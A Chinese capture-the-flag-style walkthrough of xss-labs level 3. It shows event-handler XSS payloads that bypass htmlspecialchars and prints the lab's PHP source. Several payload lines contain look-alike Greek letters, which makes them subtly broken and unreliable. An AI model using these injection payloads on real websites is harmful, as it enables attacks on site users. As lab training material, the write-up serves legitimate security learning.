XSS之xss-labs-level3

2023-10-30

0x01 XSS-Labs

  XSS(跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该网页或请求该网页中的内容之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

  XSS按照利用方式主要分为:反射型XSS、存储型XSS、DOM型XSS。反射型XSS是攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS即存储型XSS,非常危险,容易造成蠕虫,大量盗窃cookie。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞

  XSS-Labs是使用PHP编写的一个XSS漏洞练习平台,一共包含20关,其主要为反射型XSS,可以练习基础XSS的过滤和绕过技巧,且每一关的后台源码都重写了alert()方法,只要成功弹框即可调用重写的alert()方法进入下一关或完成本关测试。

0x02 实验工具

  • FireFox
  • HackBar

0x03 实验环境

  • 服务器:Windows Server 2008
  • 中间件:Apache
  • 客户端:Windows 10

实验界面如下图所示:

实验界面

0x04 实验步骤

  1. 使用如下payload进行测试,查看参数的回显位置以及是否被转义或过滤。

    http://10.10.10.148:8203/level3.php?keyword=<script>alert(/onclink/)</script>
    
    注入点检测

    由上述操作可以推断,程序对h2标签和name=keywordinput标签中参数的尖括号进行了转义,而未对事件进行过滤,推测可有可能是使用htmlspecialchars()方法对,构造触发事件就可以正常弹窗,所以此处存在XSS漏洞。

  2. 构造如下所示的payload进行漏洞测试,结果如下图所示。

    http://10.10.10.148:8203/level3.php?keyword='+οnclick='alert(1)
    
    注入成功
  3. 代码审计。程序源码如下所示:

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level4.php?keyword=try harder!"; 
    }
    </script>
    <title>欢迎来到level3</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level3</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
    <form action=level3.php method=GET>
    <input name=keyword  value='".htmlspecialchars($str)."'>	
    <input type=submit name=submit value=搜索 />
    </form>
    </center>";
    ?>
    <center><img src=level3.png></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    
    
    • 由18行代码可知:GET方法得到的参数经过htmlspecialchars()函数转义后回显到HTML页面中。
    • 由17、20行代码可知:程序将通过GET方法得到的参数经过htmlspecialchars()函数转义后赋值给name=keywordinput标签的value值。
  4. 所以基于脚本的注入无效,但基于事件的XSS仍可以使用。

0x05 实验分析

  • 程序对参数使用了htmlspecialchars()函数进行转义后回显到HTML页面中,所以此关的主要为基于事件的payload:

    '+οnmοuseοver='javascript:alert(1)
    '+οnclick='javascript:alert(1)
    '+οnclick='alert(1)
    '+onclick=alert(1)//
    '+οnfοcus='alert(1)
    ...
    

0x06 参考链接

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSS之xss-labs-level3 的相关文章

  • 防止 XSS 但仍允许 PHP 中使用某些 HTML

    我想阻止 XSS 攻击 但我仍然想允许 HTML 标签 例如 b u i img a 和 YouTube 视频播放器 我不想接受 XSS 攻击 我正在使用 PHP 我建议使用html净化器 http htmlpurifier org 它是最
  • 您能否关闭 IE7 中的 XSS 保护,以便 Intranet 应用程序可以知道异地 IFRAME 的内容?

    TL DR 我是否可以在受控环境中关闭 Internet Explorer 中的 XSS 保护 以便可以操作 IFRAMES 内的 DOM 我正在接待区为公共计算机创建一个信息亭 让我们的用户可以浏览我们的网站以及其他一些地方政府相关网站
  • 过滤输入 URL 的最佳方法是什么?

    我有一个接受来自 PHP 用户的 URL 的表单 我应该允许或禁止哪些字符 目前我使用 input preg replace a zA Z0 9 string 输入 子字符串 输入 0 255 因此 它被修剪为 255 个字符 并且只能包含
  • 如何在不使用脚本标签的情况下注入javascript? [关闭]

    Closed 这个问题需要细节或清晰度 help closed questions 目前不接受答案 我无法使用脚本标签 当我这样做时它会发出警报 这仅对测试有用 它过滤掉它们 script gt SCRIPT gt SCRIPT sCriP
  • JVM优化之 -Xss -Xms -Xmx -Xmn 参数设置

    JVM优化之 Xss Xms Xmx Xmn 参数设置 XmnXmsXmxXss有什么区别 Xmn Xms Xmx Xss都是JVM对内存的配置参数 我们可以根据不同需要区修改这些参数 以达到运行程序的最好效果 Xms 堆内存的初始大小 默
  • 如何使用 HTML/PHP 防止 XSS?

    我该如何预防XSS https en wikipedia org wiki Cross site scripting 跨站点脚本 仅使用 HTML 和 PHP 我已经看过很多关于这个主题的其他帖子 但我还没有找到一篇文章清楚 简洁地说明如何
  • V-html只用于文本,安全吗?

    我现在在关于原始 HTML 的 Vue 文档 https v2 vuejs org v2 guide syntax html Raw HTML说明我们可以使用v html渲染一些内部 html 我承认这是合法且最简单的技巧 但由于我很担心
  • 是否可以检测弹窗中的用户点击事件?

    如果当前 url 和弹出 url 位于同一域中 我可以使用以下代码检测弹出窗口中的用户单击事件 var myWindow window open abc html MsgWindow width 500 height 600 myWindo
  • 是否需要验证或转义jsonp回调字符串

    我有一个名为 action php 的文件 它将执行一些操作 我想将其公开为纯 JSON 或 JSONP 输出 用户将使用如下 URL 来调用它 action php jsonp callback 在我的action php中我正在做这样的
  • ASP.Net Core 中的 AntiXSS

    Microsoft Web 保护库 AntiXSS https wpl codeplex com 已达到使用寿命 该页面指出 在 NET 4 0 中 框架中包含了一个 AntiXSS 版本 可以通过配置启用 在 ASP NET v5 中 基
  • 在Golang中实现XSS防护

    我正在使用 Golang 构建 API Rest 我有一个包含很多字段 超过 100 个 的结构 因此我使用以下命令将来自客户端的值分配给该结构gorilla schema效果很好 现在 我想避免用户在任何字符串字段中插入 Javascri
  • 我应该采取哪些预防措施来防止用户提交的 HTML 出现 XSS?

    我计划制作一个网络应用程序 允许用户在我的网站上发布整个网页 我正在考虑使用HTML 净化器 http htmlpurifier org 但我不确定 因为 HTML Purifier 会编辑 HTLM 并且 HTML 的发布方式保持不变非常
  • 使用 Spring MVC 框架清理用户输入

    我正在使用 spring mvc 框架开发 Web 应用程序 我想知道是否有任何最好的方法来清理用户输入或通用方法来清理 springs 中的所有用户输入以避免 XSS 和 Sql 注入攻击 您可以使用Filters在 Spring 框架中
  • Wymeditor 跨子域。 (跨站点权限问题。)

    我在 sub1 domain com 上有 wymeditor 它是通过 sub2 domains com 上的页面访问的 这行给出了一个错误 var styles this doc styleSheets 0 权限被拒绝http remo
  • HTML 和属性编码

    我遇到了一个发表在 Meta SO 上 https meta stackexchange com questions 104230 attack of the double encoded hellip part n我很好奇未编码和编码的
  • 清理 AntiXSS v3 输出中的 html 编码文本(#decimal notation)

    我想在 XSS 安全的博客引擎中发表评论 尝试了很多不同的方法 但发现非常困难 当我显示评论时 我首先使用微软AntiXss 3 0 http www codeplex com AntiXSS对整个内容进行 html 编码 然后我尝试使用白
  • html() 与 innerHTML jquery/javascript 和 XSS 攻击

    我正在对我自己的代码测试 xss 攻击 下面的示例是一个简单的框 用户可以在其中输入他想要的任何内容 按 测试 后按钮 JS 会将输入字符串显示为两个 div 这是我为了更好地解释我的问题而制作的示例
  • 发布后忽略基本标签

    在 Chrome 上我收到错误Refused to execute a JavaScript script Source code of script found within request 在发布包含域名的数据后 另请注意任一页面上都缺
  • 如何使用 owasp antisamy 不将特殊字符转换为 html 实体

    我使用 Owasp Anti samy 和 Ebay 策略文件来防止我的网站受到 XSS 攻击 我还使用 Hibernate 搜索来索引我的对象 当我使用这段代码时 String html special word t use the Eb
  • 如何正确编码 mailto 链接?

    我正在生成一些 HTML 并且我想生成 XSS 和数据库内容安全的mailto关联 这里使用的正确编码是什么 这个怎么样 myLiteral Text string Format mailto 0 Content Type text htm

随机推荐

  • GDB 调试指南

    00 介绍 GDB GNU Debugger 是 UNIX 及 UNIX like 下的强大调试工具 可以调试 ada c c asm minimal d fortran objective c go java pascal 等语言 这一份
  • envi查看影像中指定像素的经纬度

    目的是查看影像上某个像素点对应的经纬度信息 操作步骤 1 打开envi软件 把影像拖入进去 如下图 2 按快捷键ctrl i或者Display gt Cursor Value调出Cursor Value对话框 如下图 3 在最上面工具栏 齿
  • 有用的框架

    选择图片和拍照 implementation com github LuckSiege PictureSelector picture library v2 5 8 可能需要这个 compileOptions sourceCompatibi
  • 【JVM】最全笔记(黑马+尚硅谷+张龙整合笔记)

    本身整合了如下视频的笔记 并进行了整理 尚硅谷周阳 张龙 黑马程序员 黑马ppt非常好 https download csdn net download hancoder 12834607 本文及JVM系列笔记地址 https blog c
  • TestMe

    测试MD文件 TestMe TestMe 链接 link 链接 link 1 target testme
  • 常见前端浏览器兼容问题及解决方案

    常见前端浏览器兼容问题及解决方案 所谓的浏览器兼容性问题 是指因为不同的浏览器对同一段代码有不同的解析 造成页面显示效果不统一的情况 在大多数情况下 我们的需求是 无论用户用什么浏览器来查看我们的网站或者登陆我们的系统 都应该是统一的显示效
  • gensim实战01——word2vec

    介绍 搜狗语料库 http www sogou com labs resource list yuliao php 是可以免费获取的比较大的中文新闻语料库 可是最新的也就是更新到2012年的语料 后续并无放出更新的语料 除了搜狗语料 要获取
  • SpringMVC5.x从入门到精通_完整版

    什么是SpringMVC 一 SpringMVC的概述 Spring Web MVC是一种基于Java的实现了Web MVC设计模式的请求驱动类型的轻量级Web框架 即使用了MVC架构模式的思想 将web层进行职责解耦 基于请求驱动指的就是
  • 使用python的socket进行多个文件传输

    使用python的socket进行多个文件传输 在网上学习到了基本的socket使用 但与自己想要的效果不同 所以进行了修改实现了在局域网内进行多文件传输 但是还有一些小bug不知道为什么有时候进行传输时 会显示您的主机中的软件中止了一个已
  • 从零搭建若依环境(分离版)

    1 起步 1 1 准备工作 JDK gt 1 8 推荐1 8版本 Mysql gt 5 5 0 推荐5 7版本 Redis gt 3 0 Maven gt 3 0 Node gt 10 1 2 下载若依 使用git克隆 命令为 git cl
  • Markdown语法之数学公式【总结】

    目录 数学运算符号 长空格 分数 角标 上下划线 无穷大 求和符号 累乘符号 余积符号 集合运算 上下位符号 圆括号 省略号 应用 根号 对数 积分 逻辑符号 箭头 三角函数 给公式编号 其他省略号 行列式 矩阵 向量 花括号 上下花括号
  • Linux - 快速进入目录的方法

    Linux 快速进入目录的方法 目录 cd命令技巧 其他常用方法 长目录 回到顶部 cd命令技巧 直接进入用户的home目录 cd 进入上一个目录 cd 进入当前目录的上一层目录 cd 进入当前目录的上两层目录 cd 回到顶部 其他常用方法
  • 汇编语言数据处理长度(X ptr指令解析)

    文章目录 1 通过寄存器名指明要处理的数据的尺寸 2 在没有寄存器名存在的情况下 用操作符 X ptr 指明内存单元的长度 X在汇编指令中可以为byte word或dword 3 其他方法 8086CPU的指令 可以处理两种尺寸的数据 by
  • 有序性保障:X86 CPU内存屏障和JSR内存屏障

    一 X86 CPU内存屏障 sfence 在sfence指令前的写操作当必须在sfence指令后的写操作前完成lfence 在Ifence指令前的读操作当必须在Ifence指令后的读操作前完成mfence 在mfence指令前的读写操作当必
  • 密钥繁多难记难管理?认识高效密钥管理体系

    密钥设置是否只要够安全就能够重复使用 定期修改密钥到底有没有必要 密钥不幸遗失该如何恢复 素未谋面的双方 如何才能安全地进行密钥协商 上一论我们了解到 基于密码学的隐私保护方案 其有效性很大程度上取决于能否有效管理好密钥 这里 我们将进一步
  • Oracle创建临时表

    Oracle临时表 临时表是一种特殊的表 当需要对某一 也可以是多个 表中的一批数据进行反复的操作时 通过为这批数据创建一个临时表 可能会简化操作并且有可能提高效率 语法 CREATE GLOBAL TEMPORARY TABLE 临时表空
  • 【C语言】——调试技巧

    目录 编辑 前言 1 什么是Bug 2 什么是调试 2 1调试的基本步骤 2 2Release与Debug 3 常用快捷键 4 如何写出好的代码 4 1常见的coding技巧 assert const const修饰指针 前言 调试是每个程
  • linux系统下部署python自动化程序并配置Jenkins定时执行

    问题 自动化测试脚本代码咱已经有了 项目地址Python接口自动化框架 那么该如何部署到我们的服务器上 在服务器上定时自动执行呢 思路 首先 我们要统一环境 大家知道 python2和python3的语法和库有很多改动 而大多服务器自带的p
  • spring boot 使用@ConfigurationProperties

    有时候有这样子的情景 我们想把配置文件的信息 读取并自动封装成实体类 这样子 我们在代码里面使用就轻松方便多了 这时候 我们就可以使用 ConfigurationProperties 它可以把同类的配置信息自动封装成实体类 首先在配置文件里
  • XSS之xss-labs-level3

    文章目录 0x01 XSS Labs 0x02 实验工具 0x03 实验环境 0x04 实验步骤 0x05 实验分析 0x06 参考链接 0x01 XSS Labs XSS 跨站脚本攻击 是指恶意攻击者往Web页面里插入恶意Script代码